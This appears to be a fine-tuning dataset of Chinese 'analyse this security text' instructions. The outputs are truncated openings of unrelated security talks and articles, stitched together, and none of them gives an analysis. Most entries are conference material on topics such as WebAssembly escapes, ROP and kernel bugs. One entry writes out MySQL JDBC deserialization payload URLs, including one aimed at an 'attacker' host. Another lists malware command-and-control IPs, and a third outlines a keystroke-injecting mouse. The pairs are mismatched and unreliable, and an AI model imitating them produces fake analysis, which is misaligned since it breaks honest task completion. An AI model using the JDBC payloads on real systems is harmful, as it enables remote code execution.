© 2012
INSTEON Hub
© 2012
INSTEON Hub
1.
Lack of authentication on web console
1.
Web console exposed to the Internet
© 2012
Karotz Smart Rabbit
© 2012
Karotz Smart Rabbit
1.
Exposure of wifi network credentials unencrypted
2.
Python module hijack in wifi setup
3.
Unencrypted remote API calls
4.
Unencrypted setup package download
© 2012
Linksys Media Adapter
1.
Unauthenticated UPnP actions
© 2012
LIXIL Satis Smart Toilet
© 2012
Radio Thermostat
1.
Unauthenticated API
2.
Disclosure of WiFi passphrase
© 2012
SONOS Bridge
© 2012
SONOS Bridge
1.
Support console information disclosure
© 2012
© 2012
•
DEMONSTRATION
© 2012
© 2012
•
CONCLUSION
© 2012
Questions?
Daniel “unicornFurnace” Crowley
dcrowley@trustwave.com
@dan_crowley
Jennifer “savagejen” Savage
savagejen@g...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Is WebAssembly Really Safe? - Wasm VM Escape and
RCE Vulnerabilities Have Been Found in New Way
Zhao Hai(@h1zhao)
#BHUSA  @BlackHatEvents
#BHUSA   @BlackHatEvents
Information Classification: General
About US
TianYu Lab of Cyberpeace Tech Co., Ltd.
天虞实验室
TianYu Lab
Lei Li
Supervisor
Mengchen Yu
Manager
Zhichen Wang
Researcher
Hai Zhao
Researcher
#BHUSA   @BlackHatEvents
Information Classification: General
Agenda
• WebAssembly Runtime Introduction
• WebAssembly Fuzz Tools Develop
• Vulnerabilities Analyse And Exploit Develop
• Conclusion
#BHUSA   @BlackHatEvents
Information Classification: General
What we focus? - WebAssembly Runtime
Previous Researches
focus on
We are
interested in
#BHUSA   @BlackHatEvents
Information Classification: General
WebAssembly Runtime Architecture
The stack is divided
into two parts.
Bounds Check
BOF? sorry
WASI is a system
interface. Similar to
syscall in c
Docker？
#BHUSA   @BlackHatEvents
Information Classification: General
WebAssembly Runtime Vulnerability
Bounds Check
I would say WASM
standard is really safe,
but not its runtime.
Maybe
vulnerable
#BHUSA   @BlackHatEvents
Information Classification: General
WASM Fuzz Develop
•
Focus on WASM file structure、WASI API、bytecode implemention in runtime.
•
Coverage guide fuzzing.
Wasm generator use AFL/libfuzzer’s
output samples as input data, mapping
them to wasm files
Coverage guide
samples
do I am
coverage
guided?
#BHUSA   @BlackHatEvents
Information Classification: General
WASM Generator / Structure
• Follow wasm format, we develop the wasm generator.
• Core idea is to make the Non randomizable fields fixed or
calculated, otherwise use the data read from the fuzzer’s
samples.
Fixed magic and version
Fixed range(0~16) Section ID
Calculated Section Len
randomizable field
……
#BHUSA   @BlackHatEvents
Information Classification: General
WASM Generator / Structure
Our generator use C++ objects to handle every types of section, every fields of
section, this is easy to impleme...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

<location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
Detecting Fake 4G Base Stations
in Real Time
Cooper Quintin - Senior Security Researcher - EFF Threat Lab
Defcon Safe Mode With Networking 2020
 <location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
Intro
•
Cooper Quintin
–
Senior security researcher
–
Has a toddler (dad jokes)
–
Former teenage phone phreak
•
EFF
–
Member supported non proﬁt
–
Defending civil liberties
–
30 years
•
Threat lab
 <location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
Yomna!
None of this research
would have been possible
without her hard work.
This is as much her project
as mine.
Twitter: @rival_elf
Actual photo of Yomna
 <location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
Technology that Targets At Risk People
•
Activists, human rights defenders, journalists, domestic
abuse victims, immigrants, sex workers, minority
groups, political dissidents, etc…
•
Goals of this technology
–
Gather intelligence on opposition
–
Spy extraterritorially or illegally
–
Locate and capture
–
Extortion
–
Harass and intimidate
–
Stiﬂe freedom of expression
 <location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
Jeﬀ Bezos Can Aﬀord a Security Team
Cybersecurity and AV
companies care about the
types of malware that aﬀects
their customers (usually
enterprise.)
We get to care about the
types of technology the
infringe on civil liberties and
human rights of at risk
people.
This guy is not at risk.
 <location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
Our Goals
•
Protect people
•
Broaden our communities` understanding of threats
and defenses
•
Expose bad actors
•
Make better laws
 <location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
Previous Project
Dark Caracal
Stalkerware
 <location, date>
<Location, date>
Defcon Safe Mode // Aug 2020
What We are Going to Talk About Today
•
Cell-site simulators AKA Stingrays or IMSI Catchers
•
How they work
•
Previous eﬀorts to detect them
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
DEFCON 15
Analyzing Intrusions & Intruders
A Deeper look at a psychological approach towards network analysis
Sean M. Bodmer
Savid Technologies, Inc.
sbodmer@savidtech.com
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
!!Updated Presentation!!
» This slide deck is different from your CD
» I will provide an updated brief to DEFCON
for further review
» Thanks in advance!
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Introductions
» Who am I?
– Sean M. Bodmer
• Savid Technologies, Inc.
• Honeynet Researcher & Intrusion Analyst
• Information Security/Criminal Sciences Researcher
• Over a decade working in Information Security
– Not an expert Behavioral Profiler!
• A Intrusion Analyst by trade
• Studies signatures and observables of Intrusions
• Building a thesis on Attacker/Threat Profiling
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Why am I here?
» To enable you to walk
away with alternative
concepts and methods to
better perform intrusion
analysis and attacker
characterization of cyber
crimes and cyber
criminals
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Everyone's Challenge
» What can you do as a Security Professional to
protect your assets and better understand
threats?
» How do you learn from attackers and threats?
» How can you use this to properly analyze the
motives, intent, and behaviors?
» How can you prevent further attacks and
generate stronger protections?
» How do you effectively communicate your
findings to senior leadership?
Copyright ©2007 Savid Technologies, Inc. All Rights Reserved
Overall Foundations
» Behavioral Profiling
–– Generally profiling has negative connotations, but this is the l
Generally profiling has negative connotations, but this is the literal
iteral
term
term…
…
–– Assumptions of Profiling
Assumptions of Profiling
• The rational relies on the uniqueness of experience & different
personality ty...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

HIGH-DEF FUZZING
EXPLORING VULNERABILITIES IN
HDMI-CEC
              name = "Joshua Smith"
              job  = "Senior Security Researcher"
              job += "HP Zero Day Initiative"
              irc  = "kernelsmith"
              twit = "@kernelsmith"
Which of the following is false?
1. Have had 10 knee surgeries... and 5 others
2. Worked at JHUAPL... did mostly weapon sys assessments
3. Was voted "most athletic" in high school... don't judge a
book by its cover ;)
4. Previously ran assessments at the 92d Info. Warfare
Aggressor Sq. (USAF)... now 92d Info. Ops. Sq - vuln
assessments/pentests/red teams
5. Have a B.S. in Computer Engineering from RPI...
Aeronautical. Also, an MIS & some CS from JHU
6. Am an external Metasploit dev... since Feb 2013
7. Had C2 of 50 nuclear ICBMs on 9/11... interesting story
Overview
What is CEC
Specs & Implementations
Design Details
Protocol
Attack Vectors & Surface
Fuzzing CEC
Some Results
Future Work
Why?
Wanted to research an area that was relatively untouched
For me: assembly > C/C++ and RISC > CISC
Another attack vector for mobile devices via:
Mobile High-Definition Link (MHL)
Slimport
Many car stereos as well
My son is completely obsessed with cords/wires, esp
HDMI
Previous Research
HDMI – Hacking Displays Made Interesting
Andy Davis
BlackHat EU 2012
GUI Python CEC fuzzer
Somewhat simplistic
No exception monitoring
No crash data gathering
What is HDMI?
High Def Multimedia Interface
HDMI is an interface specification
Implemented as cables & connectors
Successor to DVI
What is CEC?
Consumer Electronics Control
Feature defined in the HDMI spec
Allows user to command & control up to 15 devices
Can relay commands from remotes
It's what automatically changes your TV input
Vendor-extendable
Adopted by some other technologies
That Don't Look
Like HDMI!
Still has CEC however
Slimport
Think ~ Amazon, Google, Blackberry, LG G+
Mobile High-Definition Link (MHL)
Think ~ HTC, LG Optimus+, Samsung (not G6)
Remote Control Protocol
Specs &...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Format
• Three parts in today’s presentation.
– Kernel auditing research.
– A sample of exploitable bugs.
– Kernel exploitation.
• Pause for questions at completion of
each section, but questions are
welcome throughout.
Part (i)
Kernel Auditing Research.
Kernel Auditing Overview
• Manual Open Source Kernel Security
Audit.
• FreeBSD, NetBSD, OpenBSD and
Linux operating systems.
• Auditing for three months; July to
September 2002.
TimeFrame by Operating
System
• NetBSD
– Less than one week.
• FreeBSD
– A week or less.
• OpenBSD
– A couple of days.
• Linux
– All free time.
Prior Work
• Dawson Engler and Stanford Bug
Checker.
– Many concurrency and synchronization
bugs uncovered.
• Linux Kernel Auditing Project?
Presentation Notes
• The use of the term ‘bug’ is always in
reference to a vulnerability unless
otherwise stated.
• At cessation of the auditing period, over
one hundred vulnerabilities (bugs) were
patched.
Kernel Security Mythology (1)
• Kernels are written by security experts
and programming gods.
– Therefore, having no [simplistic [security]]
bugs.
Kernel Security Mythology (2)
• Kernels never have simplistic [security]
bugs.
– Therefore, only security experts or
programming gods can find them.
Kernel Security Mythology (3)
• Kernels, if buggy, are difficult to exploit.
– Therefore, exploitation is probably only
theoretical in nature.
Research Conjectures
• Kernel Code is not ‘special’.
– It’s just another program.
• Language Implementation bugs are
present.
– Its using languages with known pitfalls.
• Kernel Programmers make mistakes.
– Like everyone else.
Auditing Methodology
• Audit only simple classes of bugs.
• Find entry points to audit.
– Kernel / User memory copies based in idea
on Dawson Englers bug checkers.
• Audit using bottom-up techniques.
• Targeted auditing evolved with
experience.
Auditing Experience
• System Calls are simple entry points.
• Device Drivers have simple entry points
by design.
– Unix; everything is a file.
• IOCTL’s are the swi...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

MesaTEE SGX: Redefining AI and
Big Data Analysis with Intel SGX
Yu Ding
Staff Security Scientist, Baidu X-Lab
May-29-2019
About me
• https://dingelish.com
• https://github.com/dingelish
• https://github.com/baidu/rust-sgx-sdk
•
Security Scientist @Baidu X-Lab
•
Rust Fans
•
Ph.D on Exploit/Mitigation
•
Works on Rust-SGX projects
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
Intel SGX for Privacy-Preserving Computation
• Background of Intel SGX
• Challenges on building a privacy-preserving software stack based on Intel SGX
Hybrid Memory Safety
• Rule-of-thumb
• Practice on Intel SGX
Towards a Secure and Trustworthy AI/Big Data Analysis framework
• What is trustworthiness?
• Achieving trustworthy AI/Big Data Analysis using Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
Intel SGX for Privacy-Preserving Computation
• Background of Intel SGX
• Challenges on building a privacy-preserving software stack based on Intel SGX
Hybrid Memory Safety
• Rule-of-thumb
• Practice on Intel SGX
Towards a Secure and Trustworthy AI/Big Data Analysis framework
• What is trustworthiness?
• Achieving trustworthy AI/Big Data Analysis using Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
•
Cloud Provider
•
Data Owner
•
Algorithm Provider (can be data owner)
•
Don’t trust each other
•
Data leaves its owner but still guaranteed to be under control
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
•
Solution Overview
•
Use Intel SGX to establish trust and TEE
•
Secure and Trusted Authentication/Authorization
•
Secure and Trusted Channel
•
Secure and Trusted Execution Environment
•
Build system with hybrid memory safety
•
Trustworthy AI/Big Data Analysis
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
MesaTEE SGX
Redefining AI and Big Data Analysis with Intel SGX
Intel SGX for P...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

本篇文章翻译自：Offensive WMI - Exploring Namespaces, Classes & Methods (Part 2) ::
0xInfection's Blog — Random ramblings of an Infected Geek.
本篇文章是 WMI 攻击手法研究的第二篇，主要研究  WMI 中的 3 个组件，在整篇文章中，我们将交替使
用 WMI 和 CIM cmdlet，以便熟悉这两种 cmdlet 类型。
一、命名空间
让我们简单回顾一下命名空间是什么：
命名空间结构信息类似于文件系统中文件夹，但是，与物理位置 (例如磁盘上) 不同，它们本质上
更具有逻辑。
WMI 中的所有命名空间都是 __Namespace  系统类的实例，要获取 root  命名空间下所有命名空间的列
表，可使用以下命令查询同一个类：
Get-WmiObject -Namespace root -Class __Namespace
输出的内容包含了许多信息，为了过滤掉 "无用" 信息，可使用 PowerShell 中的 select ：
现在我们从系统中得到一个命名空间的列表，许多命名空间会是这样格式出现 root\<namespace> ，比
如 root\DEFAULT ， root\CIM2  等等，因为它们是 root (本身也是一个命名空间) 下的命名空间。
注意：一个奇怪而有趣的事实是，WMI 中的默认命名空间不是 root\DeFAULT 而是 root\CIMV2
(自 Windows 2000 以来一直是这样)。
使用 CIM cmdlet Get-CimInstance  可以实现相同目的：
Get-WmiObject -Namespace root -Class __Namespace | select name
Get-CimInstance -Namespace root -ClassName __Namespace
OK，上面已整整齐齐列出来了，那嵌套的名称空间呢？我们已经看到 root 命名空间下有几个命名空
间，只需要编写一个脚本，递归地获取名称空间 (来自 PSMag)：
注意：类和命名空间可能因机器而异，具体取决于可用硬件、安装的应用程序和许多其它因素。
二、类
现在我们有一个可用的命名空间列表，让我们来看看类，那么什么是类？
WMI 类表示系统中的特定项，它可以是从系统进程到硬件 (比如网卡)、服务等任何内容。
类分为 3 个主要类型 (这是 CIM 标准的要求)：
Function Get-WmiNamespace {
    Param (
        $Namespace='root'
    )
    Get-WmiObject -Namespace $Namespace -Class __NAMESPACE | ForEach-Object {
            ($ns = '{0}\{1}' -f $_.__NAMESPACE,$_.Name)
            Get-WmiNamespace $ns
    }
}
Core classes (核心类)：适用于所有管理领域，并提供很少的基本功能，它们通常以双下划线开头
(比如 __SystemSecrity )；
Common classes (公共类)：这些是核心类的扩展，适用于特定的管理领域，以 CIM_ 为前缀 (比如
CIM_TemperatureSensor )；
Extended classes (扩展类)：这些是对基于技术堆栈的常见类的额外添加 (例如 Win32_Process)；
类进一步分为以下类型：
Abstract classes (抽象类)：定义新类的模板；
Static classes (静态类)：主要用于存储数据；
Dynamic classes (动态类)：从 Provider 取回数据，代表 WMI 托管资源，我们最感兴趣的是这种
类型的类；
Association classes (关联类)：描述类和托管资源之间的关系；
2.1 列出类
有了足够的理论支撑，让我们尝试寻找一些类，我们可以使用 Get-WmiObject cmdlet  列出可用的类：
上面这条命令将会列出所有类，但为了举例，假设我们对系统上的用户感兴趣。可以使用以下命令来缩
小范围，该命令列出了用于获取或操作用户信息的所有可用类：
同样也可以使用 Get-CimClass  命令也能实现同样的效果，如下所示：
Get-WmiObject -Class * -List
Get-WmiObject -Class *user* -List
Get-CimClass -ClassName...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

If You Give A Mouse A Microchip
It will execute a payload
and cheat at your high-stakes video game tournament
Mark Williams (skud) and Rob Stanley (Sky)
●
1958 - ‘first’ video game
●
1972 - first recorded, sponsored video game tournament
○
Spacewar! - build in 1960s
○
Rolling Stone sponsored a Spacewar! Olympics in ‘72
Competitive Gaming
Esports
The International 2016
●
Teams from all over the world
●
20 million dollar prize pool (19 million crowd funded)
●
17,000 people watching at the venue
●
Over 20 million people watching online
Esports
●
Massive temporary networks
●
Hot-seat computers
●
Internet connectivity
●
Support player-owned peripherals
Security Challenges at Esports Events
Computers at events typically close these attack vectors:
●
Internet access restricted
●
Player accounts don’t have admin
●
Drivers / configs pre-installed
●
USB Mass Storage disabled
●
Extra USB ports disabled
But you can plug your own mouse and keyboard into the PC!
Potential Attack Vector
●
Found a mouse with an ‘overpowered’ microcontroller
●
Not enough scrutiny over devices at esports tournaments
Why Hack with a Mouse?
Gaming Mouse
Gaming Mouse
●
STMicro STM32F103CB Microcontroller
○
ARM Cortex  M3microprocessor
○
Supports ST-Link programming interface
●
128KB Flash Memory
○
Stores user profiles onboard - save your dpi settings!
●
Lots of buttons
●
RGB LEDs
●
LCD screen
○
User customizable bitmaps
1.
Connect to microcontroller built into the mouse.
2.
Insert code to act as USB Keyboard.
3.
Send keystrokes to execute payload on target computer
4.
“Unplug” the keyboard app, run original mouse code
5.
???
6.
Profit Responsible disclosure
Without obvious physical modifications to the mouse
Hijack the Microcontroller
Frequently Asked Question:
“Wait, isn’t that just a Rubber Ducky in a mouse?”
Hang on a second
???
STMicro STM32F4 Discovery Development board
●
Has an onboard ARM Cortex M4 for initial dev
●
Has an external programming interface to program mouse
Mouse with a ARM corte...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

MySQL-JDBC反序列化
漏洞原理
参考文章：
eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack
小白看得懂的MySQL JDBC 反序列化漏洞分析
MySQL JDBC 客户端反序列化漏洞分析
MySQL JDBC反序列化漏洞
上面这个是BlackHat Europe 2019议题中的利用链，在连接数据库的过程中可以触发漏洞。连接
的条件： jdbc:mysql://attacker/db?
queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
&autoDeserialize=true 需要设置这个 queryInterceptors 属性。
ServerStatusDiffInterceptor 是一个拦截器，在 JDBC URL 中设定属性 queryInterceptors
为 ServerStatusDiffInterceptor 时，执行查询语句会调用拦截器的 preProcess 和
postProcess 方法，进而通过上述调用链最终调用 getObject() 方法。
payload
payload 有两种触发方式， SHOW SESSION STATUS 和 SHOW COLLATION ，然后不同的 mysql-
connector-java 版本之间 payload 存在区别。
ServerStatusDiffInterceptor触发：
8.x
jdbc:mysql://127.0.0.1:3306/mysql?
serverTimezone=UTC&characterEncoding=utf8&useSSL=false&queryInterceptors=com.my
sql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"    参
数名称： queryInterceptors
6.x
jdbc:mysql://127.0.0.1:3306/mysql?
serverTimezone=UTC&characterEncoding=utf8&useSSL=false&statementInterceptors=co
m.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
参数名称： statementInterceptors
>=5.1.11
jdbc:mysql://127.0.0.1:3306/mysql?
serverTimezone=UTC&characterEncoding=utf8&useSSL=false&statementInterceptors=co
m.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"   参
数名称： statementInterceptors
<=5.1.10 && >=5.1.0
网上的文章都说：同上，但是需要连接后执行查询。但是我从连接流量当中并没有发现请求了
SHOW SESSION STATUS 语句。但是发现他自动请求了 SHOW COLLATION 语句，不过没有用到反序
列化。
5.0.*
没有payload
detectCustomCollations触发：
>=5.1.41
无payload
5.1.29-5.1.40
jdbc:mysql://127.0.0.1:3306/test?
detectCustomCollations=true&autoDeserialize=true
5.1.28-5.1.19
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
<5.1.19
说是没有payload，但是之前测试 5.1.2 版的时候请求了 SHOW COLLATION 语句，好吧，没有触
发反序列化，所以确实没有 payload
漏洞复现
此处复现需要手动编写一个 mysql 服务端，然后控制客户端连接，客户端自动执行 SHOW SESSION
STATUS 语句时返回我们的恶意 payload 。 jdbc 版本： 5.1.39
先来看看一次连接所发送的请求数据包
package com;
import java.sql.Connection;
import ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

ⓒ Copyright 2016, blackfort security all rights
reserved.
Malware is In the Memory
Real Time Malware Memory Analysis System
2016 HITCON
YoungJin Sim / BLACKFORT Security / Senior Researcher
<jine@blackfortsec.com>
YoungHak Lee / BLACKFORT Security / Senior Researcher
<vstherock@blackfortsec.com>
Who we are
ⓒ Copyright 2016, blackfort security all rights reserved.
http://www.blackfortsec.com
YoungJin Sim
YoungHak Lee
New malware per day
Reference: http://www.redsocks.nl/blog-2/malware-statistics-march-2016/
- Per day average 425,531!
- Researcher Analysis time
average 1 hour
- 1day working hours 8 hours
- 425,531 / 8 = 53,191
ⓒ Copyright 2016, blackfort security all rights reserved.
http://www.blackfortsec.com
Cuckoo Sandbox
- Malware Automatic Analysis System
- Windows, OSX, Linux, Android Supported
- Trace API Calls(User Level API Hooking)
- Cuckoo Monitor.dll
- Rootkit Analysis is impossible
(example: Zero access)
- Vulnerable to Anti-VM
(example: Citadel)
ⓒ Copyright 2016, blackfort security all rights reserved.
http://www.blackfortsec.com
- Reference: http://docs.cuckoosandbox.org/en/latest/introduction/what/#architecture
Why Memory Analysis?
- All Programs are loaded in memory
- Malware Protector Bypass(packing, anti-debug)
- Advanced malware operates solely in memory
- Identifies system activity and overall machine state
- Memory reliability is very important
- Example: Memory Analysis, Drakvuf, Memminer
ⓒ Copyright 2016, blackfort security all rights reserved.
http://www.blackfortsec.com
- Black Hat USA 2014 Arsenal Release
- Cuckoo Sandbox Dependencies
- Interval-based memory dump
- Too many dumps are inefficient in analysis, time and disk space wise
- Trigger-based memory dump
- API which has not been hooked cannot be analyzed
Memory Analysis
Interval-base Memory dump
Trigger-based Memory dump
ⓒ Copyright 2016, blackfort security all rights reserved.
http://www.blackfortsec.com
- Reference:https://github.com/djteller/MemoryAnalysis
Drakvuf
- 2014 Hackt...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Stitching numbers
Alex Moneger
Security Engineer
10th of August 2014
Generating ROP payloads from in memory numbers
Cisco Con!dential
2
© 2013-2014  Cisco and/or its a"liates. All rights reserved.
!  Work for Cisco Systems
!  Now a developer in the Cloud Web Security Business Unit (big cloud
based security proxy)
!  Used to be a networking security architect
!  Helped design the next generation datacenters for CWS
!  Interested mostly in bits and bytes
!  CCIE #36086
Who am I?
Cisco Con!dential
3
© 2013-2014  Cisco and/or its a"liates. All rights reserved.
1.  Brief ROP overview
2.  Automating ROP payload generation
3.  Number Stitching
1.
Goal
2.
Finding gadgets
3.
Coin change problem
4.  Pros, Cons, Tooling
5.  Future Work
Agenda
Cisco Con!dential
4
© 2013-2014  Cisco and/or its a"liates. All rights reserved.
Introduction
Cisco Con!dential
5
© 2013-2014  Cisco and/or its a"liates. All rights reserved.
!  Generate payloads using numbers found in memory
!  Solve the coin change problem to automatically generate ROP
payloads
!  If possible, use no gadgets from the target binary, only gadgets
generated by libc stubs
!  Automate the process
TL;DR
Cisco Con!dential
6
© 2013-2014  Cisco and/or its a"liates. All rights reserved.
ROP overview
Cisco Con!dential
7
© 2013-2014  Cisco and/or its a"liates. All rights reserved.
!  Re-use instructions from the vulnerable binary
!  Control #ow using the stack pointer
!  Multi-staged:
1.  Build the payload in memory using gadgets
2.  Transfer execution to generated payload
!  Only way around today’s OS protections
Principle
Cisco Con!dential
8
© 2013-2014  Cisco and/or its a"liates. All rights reserved.
!  Useful instructions => gadgets
!  Disassemble backwards from “ret” instruction
!  Good tools available
!  Number of gadgets to use is dependent upon target binary
Finding instructions
Cisco Con!dential
9
© 2013-2014  Cisco and/or its a"liates. All rights reserve...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

技
术
标
准
研发运营一体化能力成熟度模型
第 2 部分：敏捷开发管理过程
The DevOps capability maturity model
Part 2: Agile management process
（征求意见稿）
2017 年 11 月 18 日
YDB XXXXX—XXXX
I
目  次
目次!........................................................................................................................................!I
前言!.......................................................................................................................................!II
1! 范围!..............................................................................................................................................!1
2! 规范性引用文件!...........................................................................................................................!1
3! 术语!..............................................................................................................................................!1
3.1$ 黄金圈$ golden$circle$.....................................................................................................................$1
3.2$ 用户故事$ user$story$.....................................................................................................................$1
3.3$ 用户故事地图$ user$story$mapping$..............................................................................................$1
3.4$ 影响地图$ impact$mapping$...........................................................................................................$1
3.5$AB 测试$ ab$test$..............................................................................................................................$1
4! 缩略语!..........................................................................................................................................!2
5! 综述!..............................................................................................................................................!2
6! 敏捷需求管理!..............................................................................................


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

駭客如何弄垮企業?
從索尼影業與南韓核電廠事件說起
gasgas@chroot.org
ziv_chang@trendmicro.com
2015.01.09
  HITCON
  Freetalk
索尼影業被害事件
•  iThome
  2014
  12
  05
  報導
•
索尼影業（Sony
  Pictures）在上周⼀一（11/24）遭到駭客⼊入侵，導致內部
網路及電腦全數停擺，除影⽚片及員⼯工資料外流，並傳出內部電腦資料
全數遭刪除。介⼊入調查的FBI隨後緊急警告美國業者應留意⼀一款可執⾏行
毀滅性網路攻擊的惡意程式，資安業者對該惡意程式研究發現，駭客
在正式展開攻擊的48⼩小時前才編譯執⾏行程式，顯⽰示在攻擊之前就已掌
握⺫⽬目標對象的所有網路及鎖定的⺫⽬目標機器。
•
包括趨勢科技、賽⾨門鐵克、卡巴斯基實驗室，與Blue
  Coat等資安業者
都分析了FBI所提及的Destover惡意程式，發現該惡意程式專⾨門鎖定Sony
Pictures，熟悉其內部電腦架構。除了記錄Sony內部主機名稱與IP位址
的關係，還含有許多可進⼊入共享網路的使⽤用者名稱與密碼。當滲透到
Sony網路之後，惡意程式就會開始運作，包括刪除使⽤用者的檔案，刪
除近端或遠端磁碟的檔案還有⽤用來開機的主啟動磁區（MBR）。此外，
Destover中還有⼀一個BMP桌布檔的「Hacked
  By
  #GOP」畫⾯面與Sony被駭
時所出現的電腦畫⾯面⼀一致。
2015/1/12
2
資料來源:hQp://www.ithome.com.tw/news/92853
Sony
  Pictures事件編年史(1)
2
2014.11.24
Sony
  Pictures
  傳出被駭,
  GOP（Guardians
  Of
  Peace） 宣稱是他們作的
2014.12.01
FBI介入調查,
  並懷疑是北韓做的
GOP釋出26.4GB的資料,
  包含4864個資料夾與33880個檔案
15232個在職員工的SSN外洩
Sony
  Pictures事件編年史(2)
2015/1/12
2
2014.12.03
北韓外交官出面否認
•  GOP釋出第二批被偷資料,
  33.7MB的壓縮檔案
•  包含了500組帳密,
  主機資訊,
  內部IP
•  伺服器的憑證資料
•  121組FTP帳密
•  公司對外使用的各種服務帳號,
  包括YouTube,novell,
  mediataxi,
  inﬂight,
ﬁdelity,
  spiDR,
  SPIRIT,
  sony
  style
  family
  center,
  FEDEX,
  Connect,
  SPTI,
  Acron
TASS,
  SPE
  Courier,
  Concur,
  SPC
  Press,
  AIM,
  HR
  Connect,
  AMEX
Sony
  Picture事件編年史(3)
2
2014.12.09
北韓朝鮮通信表示駭客行為是正義的,
  並否認北韓參與
2014.12.17
Sony
  Pictures
  宣布取消
  “The
  Interview”
  公映
2014.12.19
FBI開記者會證實北韓是幕後主使者
2014.12.23
北韓對外網路斷光光
2014.12.24
Sony
  Pictures
  宣布恢復
  “The
  Interview”
  公映
2015.01.02
美國對北韓進行新一輪的經濟制裁
攻擊SPE的惡意軟體
（FBI/US-‐CERT公佈的資訊)
種類
數量
說明
SMB
  蠕蟲
2種
透過網芳猜測密碼並植入惡意程式
監聽工具
未知
監聽網路,
  監聽鍵盤,
  監聽瀏覽器
輕量型後門
13種
單純回報與接收命令
代理工具
10種
內部網路連接使用
硬碟破壞工具
未知
破壞硬碟開機區域(MBR)
毀滅&清除工具
   2種
刪除惡意程式並清除記錄
Destover
6種
徹底銷毀硬碟資訊,
  復原無效
惡意程式中繼站
（FBI/US-‐CERT公佈的資訊)
IP
國家
Port
  Number
203.131.222.102
   泰國
8080
217.96.33.164
波蘭
8080
88.53.215.64
義大利
8080
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

安全服务解读 by yuhao
安全服务从业⼈员占⽐在整个⾏业的占⽐越来越⼤，其中很多未来或许会成为甲⽅的安全信息化⼈员、
安全研究⼈员、红蓝对抗⼈员、代码审计的⼈员、CTF研究员。
本⽂解决的主要⽬的是：很多在步⼊⼯作的第⼀份work就是⼀名普通的安全服务⼈员如何了解⾏业，如
果成为已经是⼀名安全服务从业者，如何提⾼⾃我价值。所以有必要可以讲解⼀下什么是安全服务，不
要成为单⼀低廉的重复⼯作劳动⼒。
安全服务整体架构
安全服务在现在的⽹络环境下，所带来的价值和其⼯作前景如何，我将安全服务分为以下⼏种类型，然
后按照其中的⼯作内容，对其所必备技能和带来价值进⾏⼀定的解读
通过⼀个简单的分类，我们可以知道安全服务的⼤致⼯作，接下来我们可以⼀⼀分解其中的每⼀项和必
备技能，⽽不是值守单⼀的渗透测试，或者安全漏扫这些⽆有什么⻔槛的⼯作。
安全咨询
安全咨询诞⽣于互联⽹企业、传统医疗、交通、⾦融等⾏业步⼊了信息化的2.0时代，要拥抱信息化这个
过程中，其整体信息化架构的逐步完善过程。
例如⼤家都知道在互联⽹⼤⼚每年会招聘顶级的安全架构师、技术总监，这些leader从事的⼯作主要内
容就是整个企业的信息安全机构、信息科技化的进度、信息安全管理等
但是！但是！我们抛开这些字节、阿⾥这些企业，⼤量的国有企业、⺠营企业没有并不能招聘到这种顶
尖⼈才，故就需要安全⼄⽅公司，提供⼀下服务：
⼀般能从事这种服务的⼯程师，会成为顶尖的架构设计师，⽆论是⼄⽅还是甲⽅，都是安全专家的title
那么⼀个合格的安全咨询需要解决什么样的问题？
正如⼀个软件开发⼀样有⽣命周期，⼀个企业的安全建设依然有⽣命周期
那么其中⾯临的挑战就是
安全评估
除去其中最难的安全咨询以后，安全服务的第⼆个服务价值点就是安全评估，诸如银⾏、⾦融为什么安
全做的⽐⼤多数其他企业安全做的好呢，并不是因为他们技术顶尖，采⽤的web系统更新快，反⽽有些
应⽤系统数⼗年没有更新换代，主要原因就是监管的要求下，这类企业每年会花⼤量精⼒去做安全评估
安全评估我分为两类 传统安全评估、新安全评估
信息安全架构规划
信息科技服务能⼒优化及提升
信息科技⻛险管理体系建设
等级保护2.0建设咨询
信息安全管理体系建设
应⽤架构挑战
管理制度挑战
威胁、脆弱性变化的挑战
运营能⼒挑战
其中传统的安全评估可能就⽤到我们熟悉的⼀些⽅式了
渗透测试-Web应⽤评估
  注⼊攻击
  跨站脚本
  权限问题
  信息泄漏
  框架漏洞
  供应链攻击
代码审计
  PHP
  JAVA
新的安全评估其内容如下
安全测试
